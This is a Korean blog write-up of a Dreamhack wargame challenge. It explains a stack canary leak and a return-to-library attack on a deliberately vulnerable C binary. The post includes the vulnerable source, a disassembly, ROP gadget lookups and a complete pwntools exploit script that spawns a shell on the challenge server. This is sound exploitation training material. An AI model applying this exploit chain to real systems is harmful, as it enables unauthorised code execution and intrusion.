티스토리 뷰

문제 코드

// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

const char* binsh = "/bin/sh";

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt's entry
  system("echo 'system@plt");

  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}

 

checksec 을 통해 확인해본 결과, canary와 NX 보호 기법이 걸려있다.

 

 

코드 분석

- read함수로 buf~canary 거리 + 1 만큼 입력을 주어 canary 앞 '\x00'를 제거하면 printf 함수로 카나리를 출력하게 할 수 있다.

- read 함수로 buf에 0x30보다 훨씬 큰 0x100 크기의 입력을 받고 있기 때문에 버퍼 오버플로우 공격이 가능하다.

 

스택 구조

pwndbg> disassemble main
Dump of assembler code for function main:
   0x00000000004006f7 <+0>:	push   rbp
   0x00000000004006f8 <+1>:	mov    rbp,rsp
   0x00000000004006fb <+4>:	sub    rsp,0x40
   0x00000000004006ff <+8>:	mov    rax,QWORD PTR fs:0x28
   0x0000000000400708 <+17>:	mov    QWORD PTR [rbp-0x8],rax
   0x000000000040070c <+21>:	xor    eax,eax
   0x000000000040070e <+23>:	mov    rax,QWORD PTR [rip+0x20095b]        # 0x601070 <stdin@@GLIBC_2.2.5>
   0x0000000000400715 <+30>:	mov    ecx,0x0
   0x000000000040071a <+35>:	mov    edx,0x2
   0x000000000040071f <+40>:	mov    esi,0x0
   0x0000000000400724 <+45>:	mov    rdi,rax
   0x0000000000400727 <+48>:	call   0x400600 <setvbuf@plt>
   0x000000000040072c <+53>:	mov    rax,QWORD PTR [rip+0x20092d]        # 0x601060 <stdout@@GLIBC_2.2.5>
   0x0000000000400733 <+60>:	mov    ecx,0x0
   0x0000000000400738 <+65>:	mov    edx,0x2
   0x000000000040073d <+70>:	mov    esi,0x0
   0x0000000000400742 <+75>:	mov    rdi,rax
   0x0000000000400745 <+78>:	call   0x400600 <setvbuf@plt>
   0x000000000040074a <+83>:	mov    edi,0x40087c
   0x000000000040074f <+88>:	mov    eax,0x0
   0x0000000000400754 <+93>:	call   0x4005d0 <system@plt>
   0x0000000000400759 <+98>:	mov    edi,0x40088d
   0x000000000040075e <+103>:	call   0x4005b0 <puts@plt>
   0x0000000000400763 <+108>:	mov    edi,0x40089d
   0x0000000000400768 <+113>:	mov    eax,0x0
   0x000000000040076d <+118>:	call   0x4005e0 <printf@plt>
   0x0000000000400772 <+123>:	lea    rax,[rbp-0x40]
   0x0000000000400776 <+127>:	mov    edx,0x100
   0x000000000040077b <+132>:	mov    rsi,rax
   0x000000000040077e <+135>:	mov    edi,0x0
   0x0000000000400783 <+140>:	call   0x4005f0 <read@plt>
   0x0000000000400788 <+145>:	lea    rax,[rbp-0x40]
   0x000000000040078c <+149>:	mov    rsi,rax
   0x000000000040078f <+152>:	mov    edi,0x4008a3
   0x0000000000400794 <+157>:	mov    eax,0x0
   0x0000000000400799 <+162>:	call   0x4005e0 <printf@plt>
   0x000000000040079e <+167>:	mov    edi,0x4008ac
   0x00000000004007a3 <+172>:	call   0x4005b0 <puts@plt>
   0x00000000004007a8 <+177>:	mov    edi,0x40089d
   0x00000000004007ad <+182>:	mov    eax,0x0
   0x00000000004007b2 <+187>:	call   0x4005e0 <printf@plt>
   0x00000000004007b7 <+192>:	lea    rax,[rbp-0x40]
   0x00000000004007bb <+196>:	mov    edx,0x100
   0x00000000004007c0 <+201>:	mov    rsi,rax
   0x00000000004007c3 <+204>:	mov    edi,0x0
   0x00000000004007c8 <+209>:	call   0x4005f0 <read@plt>
   0x00000000004007cd <+214>:	mov    eax,0x0
   0x00000000004007d2 <+219>:	mov    rcx,QWORD PTR [rbp-0x8]
   0x00000000004007d6 <+223>:	xor    rcx,QWORD PTR fs:0x28
   0x00000000004007df <+232>:	je     0x4007e6 <main+239>
   0x00000000004007e1 <+234>:	call   0x4005c0 <__stack_chk_fail@plt>
   0x00000000004007e6 <+239>:	leave  
   0x00000000004007e7 <+240>:	ret    
End of assembler dump.

 

 

NX 방어기법이 활성화되어있기 때문에 Return to Library 기법으로 공격해야 한다.

 

공격 패턴

1. 카나리가 존재하기때문에 오버플로우를 통해 카나리 값을 가져와야 한다.

buf + dummy = 0x38

+ 0x1만큼의 값을 보내줘야 한다. (64비트 아키텍처에서는 카나리의 크기는 0x8인데, 맨 처음 바이트는 항상 "/x00이기 때문이다.")

 

2. 두번째 입력 때 버퍼 오버플로우를 통해 Return 을 덮어씌워야함.

 "/bin/sh"는 해당 주소값이 고정되어 있기 때문에 gdb를 통해 가져올 수 있다.

system("echo 'system@plt'");를 gdb로 분석하면서 system 함수가 PLT에 등록되어 있는 것을 알 수 있다. 

 

3. 함수를 가져오고나면, 인자 값을 넣어야 하는데 RDI, RSI, RDX, RCX, R8, R9 (6개 이상은 스택에 저장) 순으로 레지스터를 호출해야한다. RDI 레지스터를 사용해 binsh 문자열을 system 함수의 인자로 넣어줄 것이다.(이것을 리턴 가젯이라고 한다.)

 

 

* 리턴 가젯 가져오기

먼저 ROPgadget을 설치해줘야 한다.

python3 -m pip install ROPgadget --user

 

ROPgadget --binary ./rtl --re "pop rdi”

 

명령어로 rdi 가젯을 가져온다.

0x0000000000400853 : pop rdi ; ret

ROPgadget --binary ./rtl --re "ret"

명령어를 통해 RET의 가젯을 찾을 수 있다.

0x0000000000400285 : ret

 

* /bin/sh 가져오기

1. gdb 진입

2. b main 명령어로 main 함수 첫 줄에 break 걸기

3. run 명령어로 main 함수 실행

4. search /bin/sh 명령어를 통해 /bin/sh 주소 가져오기

/bin/sh의 주소 : 0x400874

 

 

공격 순서

  1. 첫번째 입력때 버퍼 오버플로우를 통해 canary 값 가져오기
    • buf와 canary의 거리 : 0x38
    • canary를 가져오기 위해 +1 해주기
    • 총 0x39
    • → 임의의 값을 0x39만큼 보내 카나리 값 가져오기
  2. system PLT, binsh, pop_rdi, ret 주소와 가젯 찾아오기
    • system PLT : 0x4005d0
    • binsh 주소 : 0x400874
    • pop rdi 가젯 : 0x0000000000400853
    • ret 가젯 : 0x0000000000400285
  3. 두번째 입력때 버퍼 오버플로우를 통해 공격하기
    • 0x38(buf+dummy 크기) + canary + 0x8(SFP 크기)의 임의의 값 보내고
    • ret + pop rdi + binsh + system 순서대로 보내주기
      • 함수를 호출할때는 반대로 쌓임
        • system(binsh) → binsh 호출, system 호출 순서로

exploit 코드 작성

from pwn import * 

p = remote("host3.dreamhack.games", 22604)

payload = b"A"*0x39   #buf+dummy+0x1 만큼
p.sendafter(": ",payload) #보내기
p.recvuntil(payload)     #보낸 b"A"0x39는 필요없으니 두기
canary = u64(b"\x00"+p.recvn(7)) #카나리값 받아오기

system_plt = 0x4005d0
#pwntools 사용해서 system_plt가져와도 됨
#e = ELF('./rtl')
#system_plt = e.plt['system'] 
binsh = 0x400874
pop_rdi = 0x0000000000400853
ret = 0x0000000000400285

payload = b"A"*0x38 #buf + dummy
payload += p64(canary) #canary
payload += b"A"*0x8 #SFP
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system_plt)

p.sendafter(": ",payload)

p.interactive()

 

'System Hacking' 카테고리의 다른 글

[드림핵] Return Address Overwrite  (0) 2024.03.11
[드림핵] Shellcode  (0) 2024.02.27
helloworld.c 디스어셈블리  (0) 2024.02.25
[드림핵] Tool Installation_gdb, pwntools  (0) 2024.02.25
[프로젝트] 악성코드 - 웜  (0) 2024.02.24
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
TAG
more
«   2024/07   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30 31
글 보관함